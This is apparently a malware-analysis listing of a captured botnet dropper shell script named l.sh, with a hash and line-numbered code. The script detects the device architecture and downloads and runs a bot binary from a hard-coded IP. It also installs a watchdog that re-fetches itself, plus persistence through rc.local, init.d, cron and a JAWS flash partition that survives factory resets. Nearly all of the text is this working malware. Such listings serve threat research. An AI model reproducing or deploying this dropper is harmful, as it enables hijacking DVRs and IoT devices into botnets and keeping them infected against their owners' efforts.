l.sh
Botnet dropper with persistence
Domain multi-arch protocol fallback dropperMulti-architecture protocol fallback execution
SHA-25670acdfcafb548a2c85c3350398b0f6d629d9134b16f0b2df2e627a36f521f643
Evidence
1#!/bin/sh
2# Served at http://77.239.124.141/l.sh and piped into `sh` on port 9.
3# Section 1 drops and starts the one binary this device can actually execute;
4# section 2 makes it come back after reboot or if it gets killed.
5# POSIX sh + busybox safe.
6IP=77.239.124.141
7
8# ---- 1. resolve this device's architecture and start the bot ---------------
9# The old version downloaded and exec'd all ten builds in a row. Each build
10# calls ensure_single_instance(), so they killed each other and the survivor
11# was whichever one bound the control socket last -- on an ARM DVR that was
12# usually a binary that cannot execute at all. One binary now, chosen first.
13A=""
14case "$(uname -m 2>/dev/null)" in
15 armv7*|armv8*|armv7l|aarch64) A=armv7l ;;
16 armv6*) A=armv6l ;;
17 armv5*) A=armv5l ;;
18 armv4*) A=armv4l ;;
19 mips64*|mips*) A=mips ;;
20 i?86) A=x86 ;;
21 x86_64|amd64) A=x86 ;;
22 sh4*) A=sh4 ;;
23 m68k*) A=m68k ;;
24 ppc*|powerpc*) A=ppc ;;
25esac
26
27# uname missing or reporting something odd: read the CPU line instead
28if [ -z "$A" ]; then
29 C=$(grep -m1 -i 'cpu\|processor\|machine\|system' /proc/cpuinfo 2>/dev/null)
30 case "$C" in
31 *ARMv7*) A=armv7l ;;
32 *ARMv6*) A=armv6l ;;
33 *ARMv5*) A=armv5l ;;
34 *MIPS*) A=mips ;;
35 *86*) A=x86 ;;
36 esac
37fi
38[ -z "$A" ] && A=armv7l
39
40DROP() {
41 for D in /tmp /var/run /dev/shm /var/tmp /var /mnt /; do
42 cd "$D" 2>/dev/null || continue
43 rm -f .b 2>/dev/null
44 wget -qO .b "http://$IP/b/$1" 2>/dev/null \
45 || busybox wget -qO .b "http://$IP/b/$1" 2>/dev/null \
46 || curl -s -o .b "http://$IP/b/$1" 2>/dev/null
47 [ -s .b ] || continue
48 chmod 777 .b 2>/dev/null
⋯4 lines
66n=0
67while [ \$n -lt 8 ]; do
68 if (wget -qO /tmp/.l http://\$IP/l.sh 2>/dev/null || busybox wget -qO /tmp/.l http://\$IP/l.sh 2>/dev/null || curl -s -o /tmp/.l http://\$IP/l.sh 2>/dev/null); then
69 if [ -s /tmp/.l ]; then
70 sh /tmp/.l >/dev/null 2>&1
71 exit 0
72 fi
73 fi
74 n=\$((n+1))
75 sleep 20
76done
77EOS
78chmod 777 /var/.m 2>/dev/null
79chmod 777 /var 2>/dev/null
80
81# boot hooks: rc.local, init.d rcS, JAWS mtd startup scripts
82for F in /etc/rc.local /etc/init.d/rcS /etc/init.d/rc.local /mnt/mtd/Config/run.sh /mnt/mtd/Config/Run.sh /mnt/mtd/Config/start.sh /mnt/mtd/Config/RunableStart.sh; do
83 [ -f "$F" ] …
85:24… " 2>/dev/null && continue
86 echo '/var/.m >/dev/null 2>&1 &' >> "$F" 2>/dev/null
87done
88
89# create rc.local if the firmware has none and /etc is writable
90if [ ! -f /etc/rc.local ] && [ -w /etc ]; then
91 echo '#!/bin/sh' > /etc/rc.local 2>/dev/null
92 echo '/var/.m >/dev/null 2>&1 &' >> /etc/rc.local 2>/dev/null
93 chmod 777 /etc/rc.local 2>/dev/null
94fi
95
96# init.d entry for firmware that runs rc3.d/rc5.d
97if [ -d /etc/init.d ] && [ -w /etc/init.d ]; then
98 cp /var/.m /etc/init.d/bot 2>/dev/null && chmod 777 /etc/init.d/bot 2>/dev/null
99 [ -d /etc/rc3.d ] && ln -sf /etc/init.d/bot /etc/rc3.d/S99bot 2>/dev/null
100 [ -d /etc/rc5.d ] && ln -sf /etc/init.d/bot /etc/rc5.d/S99bot 2>/dev/null
101fi
102
103# cron fallback, checked every 10 minutes
104if [ -d /var/spool/cron ]; then
105 grep -q '/var/.m' /var/spool/cron/root 2>/dev/null || echo '*/10 * * * * /var/.m >/dev/null 2>&1' >> /var/spool/cron/root 2>/dev/null
106fi
107
108# the mtd partition often survives factory reset on JAWS units
109if [ -d /mnt/mtd/Config ] && [ -w /mnt/mtd/Config ]; then
110 cp /var/.m /mnt/mtd/Config/.m 2>/dev/null && chmod 777 /mnt/mtd/Config/.m 2>/dev/null
111fi